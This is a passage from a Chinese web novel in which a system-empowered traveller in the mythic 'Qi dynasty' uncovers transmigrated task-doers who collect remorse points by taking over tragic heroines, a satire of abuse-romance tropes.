可是，颜辞云不在乎的小事，不代表亲眼目睹过神迹的封建人也不在乎。对他们来说，哪怕是在心里直呼颜辞云“风姑娘”或者“风道长”，都会一阵战战兢兢，害怕会有神罚从天而降。 所以，最后，除了小皇帝会刻意亲近地称呼她“风姑娘”之外，其他人都会恭恭敬敬地称呼她“神女大人”。 只可惜，小皇帝的这点刻意，就像是媚眼抛给瞎子看。 颜辞云压根没注意到谁在叫自己“神女大人”，谁又叫自己“风姑娘”。 甚至哪怕她被称作“勇者大人”，在酒馆里遇到来自异界的史莱姆，并在瞎了眼的汤姆口中宣称她被他用靴子狠狠踢过屁股，颜辞云恐怕都不会觉得有什么问题。 所以，她只是花了点时间，利用马甲的第三个天赋能力【身披华光】，以最快的速度从身旁侍候的宫人们口中，套出了这个世界的基础信息。 好消息是，颜辞云原来没有走错，这里的确是“鬼族巨人”们的故乡，甚至那些被鲛人认为是“鬼族”的家伙，在这个世界还是有着“神灵后裔”的名头，是“神之部族”的一员，即水神共工的部下。 坏消息是，神之部族那边，水神共工与颛顼最近正为了争天帝之位打得水深火热。 颜辞云如今所身处的这个启王朝，正是因为想要平息神灵怒火、祈祷神战的余波不会来到启王朝，才决定祭祀共工之父，即火神祝融。 当然，最后的结果大家都知道了，火神祝融的神像被颜辞云一脚踩得稀巴烂…… 那边，宫人们说话的声音越来越下，这边，颜辞云听着，额头上的细汗越来越多。 倒不是说对自己踩坏了别人的神像这件事有多么心虚。 而是——火神祝融，水神共工，共工与颛顼争帝？ 这些人物和事件，怎么听起来这么耳熟啊！ 接下来是不是就是共工怒而触不周之山，天柱折，地维绝？ 可不对啊！ 这个启王朝又是哪里冒出来的？ 不对！等等！在这之前—— 她是不是刚刚到手了五色石？ 所以最后谁去补天？ 该不会是她吧？？ 可是，不到三立方米的五色石，能补什么天？三室一厅都补不出来啊！ 这一刻，颜辞云头大如斗。 110-120 第111章 不妙 这个充满了癫人的世…… 骤然面对一个“只要自己努努力就能拯救的末世”，颜辞云也没有慌张。 一来，在连续探索两个小世界、经历两个末世后，颜辞云已早早预感到了这一天的到来，并为此做好了心理准备。 所以，此刻，颜辞云内心其实并没有太多的惊慌失措，也没有太复杂的心理活动和哲学思考。 她只是单纯地为接下来将会发生的麻烦事感到头痛。 二来，颜辞云其实并没有太过相信“共工怒触不周山—天柱折，地维绝—女娲炼石补天”这个神话故事的事件链。 因为在颜辞云的脑袋里，有两个不同的故事版本！ 其中的第一个版本，是来自她现代的记忆。有点模糊，但结构简单，没什么好说的，就是“共工怒触不周山—天柱折，地维绝—女娲炼石补天”这么个事件链。 可第二个来自赛博修仙世界的神话故事里，“共工怒触不周山”、“天柱折，地维绝”、“女娲炼石补天”，这压根就是三个毫不相干的故事！ 为什么会这样？ 这件事还要从头说起。 原来，就在前不久，当颜辞云用【玲珑百窍心】把书房建出来后，那本该空荡荡的书架，竟然瞬间被书籍填满！ 颜辞云惊奇翻阅了一下，发现这些书竟然并不是摆出来好看的样子货，而是真正有内容、有故事的。 可是，内容和故事从哪儿来？ 是来自她颜辞云的潜意识吗？还是系统在她不知道的时候点出了AI写作能力？ 好奇之下，颜辞云飞速翻阅，很快发现这些造型古色古香的书籍里，不仅有一些让她十分眼熟的上古传奇与神话故事，甚至还有一些现代背景的经典网文！ 颜辞云懵了一瞬：上古传奇和神话故事还好说，毕竟神话故事的结构还挺简单的，可长篇网文这种东西，也能一键生成的吗？ 是当前的AI写作已经强大到这个地步了，还是她的系统金手指就是这么强大？ 最后，当颜辞云从自己的紫檀木书架上抽出一本龙鳞装的古书，轻轻展开，看到里面的主人公举着手机点开十六个网贷平台统共还了2137块2毛4，一边忍饥挨饿地在学校网吧的隔间里打坐吐纳，一边咬牙想“就算没钱我也一定要修仙”的时候，颜辞云不由得陷入沉默。 得，这还有什么好想的？ 破案了。 是来自赛博修仙界的网文！ 可是，那个小世界的网文，怎么会出现在她的书房里？ 颜辞云脑筋一转，没想多久，就迅速明白了这些书籍的来历：一定是那三张来自赛博修仙世界的硬盘！ 之前，在游历第一个小世界时，颜辞云因不忍一个文明就此消亡、了无声息，便用三张硬盘留下了它们的最后痕迹。 而后来，当系统提示有检测到大量数据留存，询问颜辞云是否录入的时候，颜辞云选择了【录入】。 不过，这个【录入】可不是简单的录入，而是对小世界的资料进行修改、以适应颜辞云身处的大世界规则的【录入】！ 颜辞云后来开启的[工匠制造]模块，以及一系列提升幸福感的酒桶、罐头瓶、陈酿桶、小型磨粉机、榨油机等工匠设备，都是这么来的。 不过，之后，因系统对资料修改的速度过慢，颜辞云都快忘了还这回事了。 可如今，那些赛博修仙界的“资料”，竟然以这种传奇方式重新回来……想到这件事，颜辞云心中也是百感交集。 所以，总之，虽然其中过程曲折离奇，但建起书房后的颜辞云，还是得到了一个稳定打发时间的渠道，并非常自然地从书房里翻到了赛博修仙界本土的有关“共工怒触不周山”、“天柱折，地维绝”、“女娲炼石补天”这三个故事。 是三个故事！ 这三个故事，总体来说与颜辞云现代记忆里的故事大差不差。但也不知道这两个世界的发展是在哪里出现了微妙差异，其故事发生的顺序，竟与颜辞云的记忆顺序是完全倒过来的。 也就是说，在赛博修仙世界里的故事，其实是先有了女娲补天，再发生了一场大战，最后共工怒触不周山。 传说，在赛博修仙的世界里，一位名为风里希的天神路过人间，因不忍见到人间如此荒凉，便在荒芜大地上种下了一颗世界树，从此开启了人类文明新时代。 ——颜辞云的化名，其实也是从这个故事得到的灵感。 之后，随着时间推移，一个文明高速发展、人神共存的时代到来了，可随着这个时代到来的，还有数不尽的战争与动乱。 直到某一天，人类不满神灵的恶意支配，一位名为陵光的部族勇者悍然引弓射日，令天上同时陨落了七颗太阳，以此来证明人类对神灵的反抗。 但，随着太阳的坠落，暴烈的太阳之火也烧遍大地。灾难降临，天塌地陷。 神虽死了，但人也死了。 世界再次化作一片荒芜，最后仅有极小部分的人类幸存。 ——没错，赛博修仙世界里的“天柱折，地维绝”，其实更接近于颜辞云记忆里的“后羿射日”。 之后，又过了许多许多年，人类再次形成部族，一些掌握了不可思议力量的人，则被称作“神”。 这里的“神”就和“仙”一样，是一种尊称，并不是指这个人真的能像神一样翻云覆雨、移星换斗。 因此，赛博修仙世界里的“共工怒触不周山”，其实就是说一个拥有超能力的人类部族，为了争夺族长的位置打架，而其中落败的那一方气不过，用脑袋撞塌了一座名为不周山的小小山峰。 仅此而已。 所以，这第三个小世界里，虽然同样冒出了共工和颛顼、同样隐隐走着“共工怒触不周山”的路线，但最后造成的结果，还真不一定是“天柱折，地维绝”。 毕竟，要正视小世界的差异嘛！ 这世上，怎么可能会有一模一样的神话灾难、一模一样的补天救世呢？ 当然，保险起见，颜辞云又向身边的宫女多问了一句：“这世上，有没有一座山叫做不周山？” 顿了顿，颜辞云又补充了一句：“我是说非常有名的那种？像水神共工和火神祝融一样有名的不周山？” 宫女茫然摇头：“对不起神女大人，我没有听过。” 颜辞云松了口气：妥了！ 看来，这个小世界果然是另一个走向嘛！ 觉得这个世界应该不至于发展到需要炼石补天的地步后，颜辞云的心情也放松下来，开始更多地关注起了这个世界的时代特色与经济民生。 为此，颜辞云随口跟本地主人翁打了个招呼后，就要离开皇宫。 小皇帝苦劝无果，只能让颜辞云带上几个侍卫——当然，这不是监视，至少小皇帝绝不承认这是监视。 在小皇帝的口中，这些人都是为了帮助颜辞云更好地了解人间、打理俗务、屏退一些不长眼的家伙而存在的。 颜辞云不觉得自己有什么俗务要打理，也不觉得会有什么“不长眼的家伙”来打扰自己。 开玩笑，你以为【身披华光】这个天赋能力是开玩笑的？ 这个马甲可是有着加到满点的魅力，在这种光环下，怎么可能会有人特意来她面前搞事？！ 但，后续的事实证明，颜辞云还是想得太简单了！ 她太小看这个世界了！！ 当颜辞云被巧舌如簧的小皇帝以“了解世界”的名义说服，决定带上这些侍卫当向导后，宫殿里，还没等小皇帝露出笑脸，一个宫人就跌跌撞撞地闯入，在小皇帝和颜辞云的注视下，惊慌地大喊道：“不好了皇上，长公主被驸马杖毙了！” 颜辞云：？ 等等，这里的主语和宾语是不是哪里搞错了？ 有那么一瞬间，颜辞云怀疑是自己聋了。 而小皇帝发给颜辞云的侍从之一青阳，则第一时间履行了自己“向导”的职责，尽心尽力地给颜辞云介绍起了情况。 原来，小皇帝在还是皇子的时期，他就有一个非常受到先皇宠爱的大姐姐，封号明懿，即身具智慧、品行良好的意思。 之后，在先皇驾崩、小皇帝登基后，这位最年长且唯一拥有封号的公主，就自动成为了明懿长公主。 可是，谁也不知道这位明懿长公主到底怎么想的，分明她身份高贵又备受宠爱，但在数年前她谈婚论嫁的时期，不知怎么的瞎眼看上了一个普普通通的书生，还说非他不嫁，闹得先皇一脑袋包。 所以最后，闹得满城风雨的明懿公主，到底还是带着她的十里红妆，嫁进了那个只有小小秀才功名的男人家里。 每天，她天不亮就起床伺候公婆，亲自洗手做羹汤，操持家务、供秀才老公读书深造、给难缠小姑子买衣裳首饰、听公婆在大庭广众下的贬低辱骂。 最后，等天黑透了、把全家人都伺候着洗脚上床睡觉后，她再去睡觉，但睡了不到两个时辰，她又要继续起床伺候全家人。 这样的日子，明懿长公主足足过了十年。 颜辞云：“……” 等等，她在思考。 可是，哪怕明懿长公主为那个秀才做到了这个地步，秀才一家却还是对长公主鼻子不是鼻子眼睛不是眼睛的，言语中除了挑剔就是辱骂。 更令大家大跌眼镜的是，当小皇帝登基后想要给这个立不起来的大姐姐撑腰，重重责罚秀才一家时，明懿长公主竟然直接冲到小皇帝面前，说“伤在他身，痛在我心，倘若玉郎出了什么事，我也不要活了”。 那这还能怎么办？ 只能任她去呗。 于是，这几年里，小皇帝便彻底把这个大姐姐撂下，再不提什么撑腰做主的事了。 可万万没想到，几年过去，当小皇帝再听到他大姐姐明懿的消息时，却是她的死讯，并且是被驸马杖毙的死讯！ 小皇帝勃然大怒，传令把驸马全家都传唤进宫来，要当着所有人的面审讯驸马。 可最后，来到小皇帝面前的，竟然仅有之前传讯的宫人一人而已。 小皇帝怒气越发森然：“怎么不见李玉郎？莫非他竟然还敢抗旨不遵？好大的胆子！” 宫人：“没有，驸马他在杖毙公主后，才发现公主已经怀了他的孩子，并且还发现公主才是他多年来心心念念的救命恩人，一时间无法接受这样的结果，放了一把大火把他全家都烧死了。” 小皇帝：“……” 颜辞云：“……” 小皇帝发给颜辞云的侍从之二元德则叹息道：“又是一出人间悲剧……上一个这样悲惨的故事，还是夏国那个在城墙上挂了三天三夜的王妃吧。” 青阳提醒：“还有那个被敌军当作人质后被自己的丈夫亲手射杀的将军夫人。” 元德恍然大悟：“是啊，还有那位可悲的将军夫人。她明明出生王府，但却在出生时候被恶人从父母身边换走，等她长大后好不容易找回了亲人，却发现王府里已经没有了她的容身之地，最后嫁给了将军，竟也没有过过一天好日子……人间惨事，莫过于此。” 青阳继续提醒：“别忘了前段时间那个被取缔了皇商资格的欧阳家。” 元德怜悯摇头：“没错，没错。还有欧阳家。欧阳家只是与萧家的那位败家子退婚而已，谁能想到那位萧家子竟有神裔血脉，最后绝地翻身，灭了欧阳主家，又搅黄了欧阳家的皇商资格……唉，果真是三十年河东三十年河西，莫欺少年穷啊。” 青阳：“还有那个……” 旁听的颜辞云面上尚且端得住，心里却是咯噔声连成一片： 不对吧？你们这地儿的癫人癫事怎么还是批量生产的？ 不妙，不妙，真的不妙啊。 这个充满了癫人的世界，真的没问题吗？ 第112章 异常 一个好好的世界怎么…… 如果是普通的癫人癫事，颜辞云可能不是很相信，最多当故事听听就算了。 但太癫的故事颜辞云就不得不信了。 与此同理，如果是普通的癫人癫事，颜辞云可能随便听听就放下了。 但太癫的故事颜辞云就不得不亲眼看看了。 抱着这样的想法，颜辞云果断拒绝了青阳元德两位侍从的建议，既没有去茶馆酒楼听说书人八一八当年的奇闻轶事，也没有去大理寺看这么多年来累积的奇案悬案。 虽然，即便是颜辞云也不得不承认，青阳和元德两人给的建议很不错，这两个地方的确是了解当地“风俗风情”的绝佳地点。 可是—— 谁能拒绝近距离观看癫人癫事的诱惑？ 反正颜辞云觉得自己做不到。 因此，在问清楚明懿长公主停灵的位置后，颜辞云心念一动，人就站在了明懿长公主的棺柩前。 当然，没忘了带上自己的两个向导。 三个大活人骤然出现在明懿长公主的棺柩前。 别说举行葬礼仪典的人被吓了一跳，身处其中的青阳和元德两个人更是震惊不已。 他们万万没想到，自己只不过是眨了个眼，周遭的环境就大变了模样，从一个地方瞬间就来到了另一个地方。 再看看面前这个只有皇家之人才能用的棺柩，看这个葬礼仪典的规格——这不正是得了皇帝吩咐后，在皇城西北皇陵处为明懿长公主举行的葬礼吗？ 从皇城的皇宫深处，到城外的皇陵，其中距离何止千里？ 可这千里的距离，竟是不声不响、转瞬既至…… 神女！ 这位风道长，果真是神女啊！ 两人心间狂喜和忐忑交错中，对颜辞云的“神女”身份也越发信服了。 因此，在看到颜辞云好奇向明懿长公主的棺柩走去，低头观察这位长公主的尸体时，哪怕颜辞云不发一言，没有任何吩咐，两人也瞬间了悟，主动走向一旁，向那些被“大变活人”吓呆的礼部官吏说明情况。 窃窃的私语声落在颜辞云的耳中，从她的左耳进去后，又从她的右耳朵出去了。 颜辞云心无旁骛，没有分心半点，只一心一意地观察这个神奇的姑娘。 只见，棺中的明懿长公主面容苍老憔悴，一点儿都不像是风华正茂、地位仅次于皇帝皇后之下的长公主，而像是在农田里操劳了一生的农妇。 风霜在她的脸上留下酷厉的痕迹，劳作在她的手脚和肩膀上留下了褪不去的老茧。 甚至因为这位长公主是被杖毙的，她上半身与下半身的连接处十分不自然，应该是骨头都被打碎了，而又因她的血液也已经流尽，因此她的脸色比普通的尸体更为可怕， 可是，古怪的是，这位明懿长公主分明生前被夫家苛待，死时还那般凄惨，但当颜辞云仔细观察时却惊讶发现，这位明懿长公主的唇角竟然有一丝若有若无的笑意。 ——她竟然在笑？ 该说不说，有点可怕。 反常的、不合逻辑的、超乎想象的东西，都会给人以恐惧。 但还好，世上的绝大部分恐惧都来自于火力不足。 如今的颜辞云可以中肯地说一句，她自保的能力应该还算不错。 因此，颜辞云不但没有被这样的笑容吓到，反而主动伸出手，去触碰这位明懿长公主的面颊。 于是，就是在这一瞬间，颜辞云听到了两道细细的声音。 【……系统，这个“神女”是从哪里来的？启王朝有过这么个人吗？】 【宿主权限不足，无法解锁该人物资料。】 【噫，她怎么一直摸着我、不，摸着明懿的脸啊，她该不会是恋尸癖吧？】 【宿主权限不足，无法解锁该人物资料。】 【……行吧行吧，不说这个了。系统，明懿长公主的任务我算是完成了吧？】 【悔意值已收取100%，判定任务完成。】 【哈哈！我果然是天才！下个任务什么时候开始？】 【正在计算中……】 猝不及防下听到了一个如此惊人的秘闻。 颜辞云心中不由掀起惊涛骇浪。 ——系统？宿主？ 穿越者？任务？ 怎么突然就…… 但是，仔细一想，也对。 也对，当然是穿越者，也只能是穿越者。 因为，只有穿越者、并且是为了任务的穿越者，或者说玩家，才会搞出这种令正常人瞠目结舌的癫事来。 所谓的玩家，向来被称作第四天灾。 概因玩家的终极目的就是寻求刺激，并且会被“任务”也就是“利益”所驱动，所以他们没有立场，会去做任何他们想要去做的事。 他们是来找乐子的，又不是过日子的，自然是怎么放飞怎么来。 他们既可以上一秒就跪下来与狗争食，下一秒就御极四海。 他们身上没有任何标签，或者说“不确定性”和“意外性”就是他们身上的唯一标签。 可是…… 问题是，为什么？ 这个世界好好的，怎么会有“玩家”降临？ 这一刻，颜辞云不得不开始思考一个问题：到底是谁当了带路党，把一个好好的世界引入了“玩家”这样的大杀器？ 会是系统吗？ 系统是什么来历？会跟她的系统金手指是同一个路数吗？ 还有系统口中的“悔意值”，这是什么东西？为什么它要收集这个？ 而如果不是系统的话，会跟任务的发布人有关吗？ 毕竟，既然有所谓的“任务”，那理论上也应该会有发布“任务”的那个人。 那么，发布任务的人是主动把玩家引进世界的吗？为什么那个人要这样做？ ——到底是什么内在的“因”，才结成了这个癫人癫事的“果”？ 甚至，按照这条线索推想下去的话，是否可以猜测，正是因为这些“玩家”的出现，才会导致这个世界生成了异常的空间裂隙，继而影响到了自己的世界？ 本来只是过来围观奇人的颜辞云，被这场意料之外的秘闻瞬间拉入了工作状态，脑中飞快转过大量念头，无数的疑问和阴谋论接二连三地冒出。 可是，还没等颜辞云来得及去证实这些猜想，蓦地，颜辞云听到那个被称作“系统”的声音再次响起。 【检测到新任务：收集启王朝镇国公世子慕容寻的悔意值；可使用身份：世子妃倪静如。是否接取该任务？】 【接接接，走！】 【传送开始，请宿主做好准备。】 颜辞云若有所思：镇国公世子慕容寻和世子妃倪静如？ 也就是说，新一轮的癫人癫事马上就要上演了？ 那自己继续旁观的话，是不是也能根据这一点顺藤摸瓜，得到有关任务者和系统的更多消息？ 正这样想着，突然间，颜辞云感到自己脚下骤然一空，虽然她人还在这里、还在明懿长公主的棺柩前，可她的视线却被一分为三！ 其中第一个视角和第二个视角，分别是在大世界的本体位置和在启王朝的马甲风里希的位置，这没有什么可说的。 可她新增的第三个，却竟然跟随着那无形无质的“系统”和“任务者”，降临到了“倪静如”的身上！ ——不是吧？！ 颜辞云心中咯噔一下，打开人物面板。 果然，此刻，在[颜辞云]和[风里希]这两个人物旁，竟然真的又多了一个[倪静如]的人物面板！ 只不过这个面板半虚半实，与颜辞云本体和马甲的人物面板都不一样。 颜辞云定睛看去： 【人物：倪静如（冻结中）】 【体质：1~10】 【灵敏：1】 【根骨：1】 【悟性：3】 【福缘：0】 【技能：】 【桃花七煞：你一生所遇异性皆为恶人，命中注定情缘坎坷，一生所遇非人，身如浮萍，不得善终。】 【身如蒲柳：你虽具人形，却力量微小，如同蒲柳，风吹就倒。】 【金刚不坏：拥有不坏的身躯，坚固的心性，无论何种伤害，都难以令你毙命。】 颜辞云看的一愣：等等，这对吗？ 这三个技能，怎么看都是冲突的吧？ 因为怎么会有人又是“身如蒲柳不得善终”又是“金刚不坏难以毙命”？ 这不合逻辑啊。 还有[体质]和[福缘]这两栏。 竟然有人[福缘]是0她都懒得提了，关键是，怎么还有人的[体质]是波动的？ 甚至波动的上限是10点——10点体质，这基本都算得上小超人了吧？！ 这件事，果然很不对劲啊！ 正这样想着，颜辞云往下又是一看。 视线凝固。 微妙的沉默中，颜辞云恍恍惚惚，觉得自己好像什么都明白了。 【特殊技能】 【虐文女主光环：你倒霉到了极致，所有的坏事都会被你遇上，所有的坏人都会在人群中第一眼看到你，你的所有解释都不会有人听进去，被误解是你的永恒宿命，但在完成既定命运之前，你永远不会死去。】 颜辞云：“……” 虐文女主光环。 难怪又是体质差又是体质超人的，原来是虐文女主啊…… 可是——救命！ 怎会如此？为什么这种晦气东西竟然还能形成“技能”？！ 这个世界，果然有哪里不对吧？！ 这一头，颜辞云被这个“技能”震惊到久久没能回神，怎么都想不通一个好好的世界怎么突然就癫了。 而另一边，任务者——目前暂时叫她倪静如好了——不知道是没有察觉到这具身体的异常，还是早就习惯了这样的异常，非常镇定地说道：“系统，传输剧情。” 于是，托这位任务者的福，第一次的，讲究平淡是真的生活玩家颜辞云，了解和体验到了所谓的……虐文剧情。 第113章 女主 妹子，你知道你在说…… 在[系统]的描述里，任务者身处的，是一个综合虐文世界里。 什么叫“综合虐文世界”？ 就是市面上所有你看得到看不到的虐文女主，你都能在这里找到。 颜辞云：……真的假的，这么可怕的吗？ 正因这个世界里集结了太多太多的虐文女主，她们生时命运过于坎坷，死时心情过于悲愤，身上的冤屈与怨愤几乎达到了直冲九霄的地步，已经影响到了这个世界的正常运行，因此，怨念化解系统便应运而生。 玩家、或者说被[系统]选中的任务者，正是为了化解这些虐文主角心中的冤屈与怨愤、维持这个世界的稳定运行，才降临这个世界的。 颜辞云：你们那超鬼操作真的是过来为虐文主角化解怨念的吗？你们真心这样想的吗？ 且不提这段话里几分真几分假，总之，任务者取代了虐文女主，在这方世界里进行“怨气化解”任务。 而怨气化解成功的判定，就是男主的悔恨值。 男主的悔恨值越高，就代表任务完成得越圆满，任务者能从中得到的奖励就越多。 而与之相反，男主的悔恨值越低，任务者也会受到相应的惩戒。 一般来说，惩戒是扣除任务者的积分。 任务者的积分少了，她能从系统商城里兑换的物品也就越少，完成任务的难度也会越高。 而当任务者没有积分可扣除，且男主的悔恨值迟迟不到及格线的话，任务者就会得到最大惩戒：遣返原世界。 为什么说遣返原世界是“惩罚”？ 因为这些任务者在原世界其实都已经死去了。 所以，所谓的“遣返”，其实和“死亡”是等同的。 因此，与怨念化解系统绑定的任务者，并不像颜辞云最初想象的无拘无束肆意妄为的“第四天灾”，反倒像是为了给生命续费的牛马打工人，对待任务时还是比较慎重的。 了解到这里后，颜辞云不由得陷入了沉思： 奇怪……怎么总感觉哪里不对呢？ 既然系统的存在是为了化解怨念、维持世界稳定，既然任务者的存在等同牛马打工人，她们的任务等同于给生命续费的工作。 可如果这个事件里每一方都是“正义”的，每一方都在做“正确”的事，那到底是哪个环节出了问题，才会让任务者在“化解怨念”这件事上搞出那样耸人听闻的超鬼操作？ 这一头，颜辞云陷入了困惑。 而另一边，新一代的牛马打工人，也终于整理好了这一本的虐文剧情。 由于虐文故事在大部分情况下剧情都是比较简单的，因此这个故事总结一下就是： 他，大启王朝的天之骄子，曾一度家道中落、坠入地狱，却又在地狱最深处被一抹温柔月光救赎； 她，大启王朝的商人之女，曾因年幼的一时心软而救下一名乞儿，却不想因这乞儿落入无间地狱； 他爱她，即便她身份低微，也痴心不改，以累累军功向帝王请旨赐婚； 她恨他，不顾她心有所属，竟强取豪夺，将她从未婚夫婿身旁生生掠走； 他恨她，成婚多年对他不假辞色，心如铁石，无论他如何讨好也对他毫无爱意，疲惫不堪中，他决定反手； 她爱他，哪怕他当年对她强取豪夺，卑劣无耻，却也在他一日日的温柔体贴中逐渐软化，她终于决定，要重新开始。 但一段始终错位的爱情，或许从一开始就是一个错误。 而一段本该天定的缘分，为何最后竟走到这般地步？ 接下来请欣赏……哦不对，这句话没有。 总之，事情就是这么个事情。 身份低微的商人之女倪静如，是虐文女主，年幼时曾经救助过一个小乞儿。 这小乞儿大有来头，原来竟是当年被含冤抄家流放的镇国公之子慕容寻。 当时，慕容寻在流放的路上被百般苛待，几乎身死，是倪静如用金钱贿赂了押送的官吏，又为他寻医问药，给他送食送水，留住了他的一条小命。 垂死的慕容寻看倪静如，恍如看待天女，对她一见钟情。 因此，等到慕容寻长大了，在战场上出生入死，用军功洗刷自身冤屈、重振门楣后，便不顾她身负婚约、心有所属，将她强娶回家。 之后，他们在这段婚姻里互相折磨、互相空耗了整整十年。 十年后，当女主倪静如终于回心转意，决定给自己给慕容寻给自己一个机会时，慕容寻却已经不再爱她了，甚至决定迎娶他幼时的青梅为平妻。 于是，从这一刻开始，倪静如开启了自己的“追夫火葬场”。 但可惜，这时男女主之间的隔阂已深，倪静如一次次的努力和挽回，在男主看来是舍不得过去十年荣华富贵的生活，因此被男主轻鄙，一次次拒绝。 再加上有男主青梅从中作祟，因此，每当男女主几乎快要化解之前的误会时，又会飞快转变为更深的误解。 最后，在又一次的冲突里，当倪静如声嘶力竭地问慕容寻到底为什么变了的时候，慕容寻满是厌恶地说： “究竟是我变了还是你变了？当年的你是慈悲善良的倪小姐，虽然是商人之女，却天真灵动，不染尘埃，如同神女！可再看看你现在是什么模样？ “倪静如，你早已经被富贵窝迷了眼，变得恶毒，变得不择手段，变得和那些高门大户人家里草菅人命的毒妇一样了！我真是后悔娶了你，如果可以，我宁可当年死在流放的路上，也不想要为你所救！” 丢下这段话后，慕容寻拂袖而去，而倪静如则在崩溃痛哭中陷入疯狂，当晚就放了一把火，把自己的屋子，连同她自己一块儿，全都烧得干干净净的。 颜辞云：“……” 总之，如今这位任务者降临的时间，正是真的倪静如自焚身亡的前一个月。 这个时候，女主与男主的隔阂极深，误会几乎再没有了化解可能，而男主慕容寻更是已经下定决心，要迎娶他寡居在家的青梅为平妻，甚至借自己母亲之手，将对方早早接入了府中，如娇客般养了起来。 看似是天崩般的开局。 可一来，任务者有系统商城傍身，里头的道具花样百出，直把颜辞云看得目不暇接。 二来，如今的整个镇国公府，几乎都在靠女主的嫁妆维持体面，就连养那位娇客青梅的钱，也是从女主倪静如的嫁妆里出的。 有了这两大杀器，任务者想要澄清女主与男主之间的误会、化解他们的矛盾，令一对怨侣重新转为爱侣，似乎不是难事。 “但是，不够。” 任务者坐在倪静如的房间里，喃喃自语：“只是‘化解误会’的话，怎么对得起女主这么多年来受到的伤害？像慕容寻这种强取豪夺又抛弃妻子的渣男，凭什么值得一个圆满结局？” 这句话颜辞云是赞同的。 且不论之后女主倪静如的“爱”，至少在倪静如被强取豪夺的这十年里，她是过得一点都不开心的。 哪怕在旁人看来，镇国公世子慕容寻对她已经够好了，不但不介意她商人之女的身份，用军功为她求了赐婚，让任何人都不敢小觑她，甚至十年如一日地爱护她，哪怕她多年未能生育，也从没有冷待过她，房中也没有放过任何一个通房妾室。 可以说，慕容寻是全王城高门贵女的梦寐以求的好夫君。 而倪静如则是那个踩了狗屎运的遇见了好夫君还半点不懂珍惜的“作精”。 因此，当慕容寻终于不再爱倪静如，而是想要迎娶他的青梅为平妻时，王城的贵女们不但没有觉得慕容寻的“好夫君”标签碎裂，反而认为他已经足够情深意重了、认为他值得比倪静如这个“作精”更好的妻子。 可对于颜辞云和从现代而来的任务者来说，事情又有不同—— 慕容寻成婚十年对倪静如很好，所以他是一个好夫君？ 开什么玩笑，“对自己的妻子”很好，难道这不是一个身为丈夫的男人该做的事吗？！ 慕容寻只不过是做到了“好丈夫”的及格线而已，这也值得称赞吗？ 更别说慕容寻最开始根本就是把女主抢回家的！ 他分明知道倪静如身有婚约，知道倪静如心有所属，知道倪静如早就已经在备嫁了，可他就是蛮狠地用一个圣旨，将倪静如强娶了回去。 在这之后，他对倪静如的好，难道不是理所应当的吗？难道不是他赎罪所应该付出的代价吗？ 更何况，这里的“好”有几分水分，还要掂量掂量。 想一想吧—— 如果慕容寻真的是一个好丈夫，他又怎么会让自己的妻子被众人所指、在舆论的压力下过了整整十年，成就了自己的美名与妻子的骂名？ 他又怎么会让自己的妻子拿出嫁妆来养活他全家？ 他又怎么会在把自己妻子的青春和钱财榨干后，以一种对正妻来说称得上侮辱性的方式，把他寡居的青梅迎为平妻？ 他又怎么会将自己的妻子称作“恶毒”，说什么“宁可当年死在流放的路上，也不想要为你所救”？ 这不就是仗着世上没有真正的时间倒流所以信口胡忒嘛！ 想到这里，任务者越发气恼，面上则越发冰冷：“哼，不过是有一个渣男而已，他的结局，活该悔恨终身！” 没错没错。 颜辞云默默点头。 任务者说：“我要让女主用最惨烈的死亡离开，留下最惨烈的真相让慕容寻揭开，好叫这个渣男永不能寐！！” 没……不不不对啊！ 颜辞云一个激灵，蓦地回神： 你等会儿！ 你刚刚说你要干什么？！ 让女主用最惨烈的死亡换男主娇妻在怀钱财傍身享无边孤单悔恨？ 妹子，你知道你在说什么吗？？ 第114章 二号 佛子文学也来了！…… 这一刻，颜辞云听着任务者充满义愤的凛然誓言，头皮发麻、欲言又止，有一种想要说什么但又不知道该怎么说的词穷感。 而与此同时，颜辞云在恍惚间似乎又有些明白了大启王朝那些“奇人奇事”和超鬼操作是怎么来的。 颜辞云盯着充满干劲的任务者，心情一言难尽。 而之后发生的事，果然也与颜辞云猜测得不远。 任务者在成为倪静如后，她做的第一件事，并不是与慕容寻和离，远离镇国公府这个吃人的泥沼。 这件事颜辞云也能理解，毕竟这年头和离哪里是那么容易的事，而且如今世道这样乱，正是奴隶制与封建制的过渡时期，外头更远些的地方甚至还有神血后裔。 在这样的情况下，一个无权无势的商人之女、和离妇人，确实很难活下去。 可与此同时，任务者竟然也没有暗中谋划，思考跳出这个虎狼窝的办法，甚至是直接搞死慕容寻，自己捏着嫁妆当后宅里自由自在有权有势的美貌寡妇。 不，这些都没有！ 那任务者做了什么呢？ 她开始越发努力地经营铺子、管理后宅、孝顺婆婆、关心丈夫。 甚至连那位即将入门的平妻，任务者也是关怀备至，唯恐她住得有那么一点儿不舒服。 问就是“如今做得越好越完美，在她死后，那个男人才会越痛，才会越明白自己到底失去了什么，悔恨值也会越多”。 颜辞云：你……我……这…… 行吧。 无话可说的颜辞云插了个眼在“倪静如”身上，一边看这位任务者辛辛苦苦穿越过来给渣男当老黄牛，一边偷偷翻看起了怨念化解系统的商城。 且不提这个系统和这个任务者怎么样，也不提所谓的怨念化解到底是真是假。 至少这个系统的商城，真的是让颜辞云大开眼界。 颜辞云自己的系统金手指里其实也有一个差不多的“商城”。 不过那个东西与其说是“商城”，不如说是加工厂。它本身其实是空的，而它给颜辞云提供的“商品”，其实是从颜辞云身上收取了一定量的炁后，再通过转化的方式，把它变成颜辞云想要的某种东西。 颜辞云觉得，等自己日后学会了【斡旋造化】这个神通，说不定就再也用不上这个商城了。 因为到了那时，她需要的一切都可以靠炁的转化来获取！ 所想即所得。 完美！ 可任务者的这个商城，却是真正的商城。 哪怕这个商城使用的货币是比【炁】更唯心的【悔恨值】，但商城里的一切商品却都是真实存在的。 颜辞云粗略翻了翻，发现光是商城里的大类就看得她眼花缭乱。 比如说最常见的食品类、日用品类、粮油调味、家居百货，样样不缺，甚至还包括了速冻品和预制菜！ 这些在颜辞云荒野求生最初时急需的用品，如今就这样大剌剌地挂在商城里，价格标注极低，让颜辞云看得眼泪都快掉下来。 可当颜辞云翻过一页后，她的心酸就飞速化作了呆滞。 只见这商城的第二页里，赫然挂满了衣服，五颜六色、琳琅满目，简直就像是一场大型时装秀！ 可，为什么衣服能在一个系统商城里单独开出一页？ 哪怕这些衣服再美丽时尚，也不应该吧？！ 这样想着，颜辞云定睛一看，然后下巴都快要吓掉了。 因为这些衣服，竟然不仅仅是衣服。 它们是自带特效和滤镜的！ 比如说如今排行第七的衣服，就叫做【九天玄女】。 